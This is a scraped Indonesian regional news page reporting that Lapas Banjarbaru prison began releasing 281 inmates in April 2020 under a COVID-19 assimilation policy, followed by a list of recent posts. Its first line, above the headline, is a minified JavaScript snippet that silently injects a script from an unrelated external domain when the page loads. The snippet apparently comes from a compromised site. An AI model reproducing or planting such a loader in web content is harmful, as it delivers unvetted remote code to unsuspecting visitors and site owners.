(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. Imbas Virus Corona, Sebanyak 281 Napi di Lapas Banjarbaru Dibebaskan


KANALKALIMANTAN.COM, BANJARBARU – Sebagai salah satu upaya pencegahan dan penanganan pandemi covid-19 atau virus corona di Lembaga Permasyakatan (Lapas) maupun Rumah Tahanan (Rutan), Kementerian Hukum dan HAM telah mencetuskan sebuah kebijakan membebaskan para narapidana (napi). Seperti halnya yang dilakukan oleh Lapas Kelas II B Banjarbaru.

Kebijakan ini sendiri tertuang dalam Keputusan Menteri Hukum dan HAM bernomor M.HH-19.PK/01.04.04 tentang Pengeluaran dan Pembebasan Narapidana dan Anak Melalui Asimilasi dan Integrasi dalam Rangka Pencegahan dan Penanggulangan Penyebaran COVID-19.

Dalam konfrensi pers, Kamis (2/4/2020) siang, Kepala Lapas Banjarbaru Herliadi menyatakan bahwa dari total 1.858 napi yang ada di Lapas Banjarbaru, 281 napi diantaranya menerima asimilasi. Artinya, mereka dibebaskan namun harus tetap berada di rumah masing-masing sampai masa hukuman pidananya berakhir.

Konfrensi pers, Kamis (2/4/2020) siang, Kepala Lapas Banjarbaru Herliadi. foto: rico

“Selama di rumah, mereka akan diawasi oleh petugas Bapas (Balai Permasyakatan). Perlu diketahui bahwa mereka yang menerima asimilasi adalah napi yang dua per tiga masa pidananya jatuh sampai dengan tanggal 31 Desember 2020,” katanya.

Baca juga: BREAKING NEWS. Imbas Virus Corona, Sebanyak 281 Napi di Lapas Banjarbaru Dibebaskan

Selain mengacu pada masa hukuman pidananya, mereka yang menerima asimilasi juga adalah napi yang tidak menjalani hukuman subsider. Kalapas Banjarbaru mengungkapkan bahwa pembebasan 281 napi dilakukan secara bertahap. Contohnya, pada hari ini, 14 napi yang lebih dulu dibebaskan.

“Hari ini kita membebaskan 14 napi terlebih dahulu. Tadi mereka juga sudah dikasih arahan oleh petugas. Pembebesan 281 napi di Lapas Banjarbaru, dilakukan secara bertahap sampai pada tanggal 7 April mendatang,” lanjut Herliadi. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

22 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

22 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

23 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

23 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

2 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 hari ago

This website uses cookies.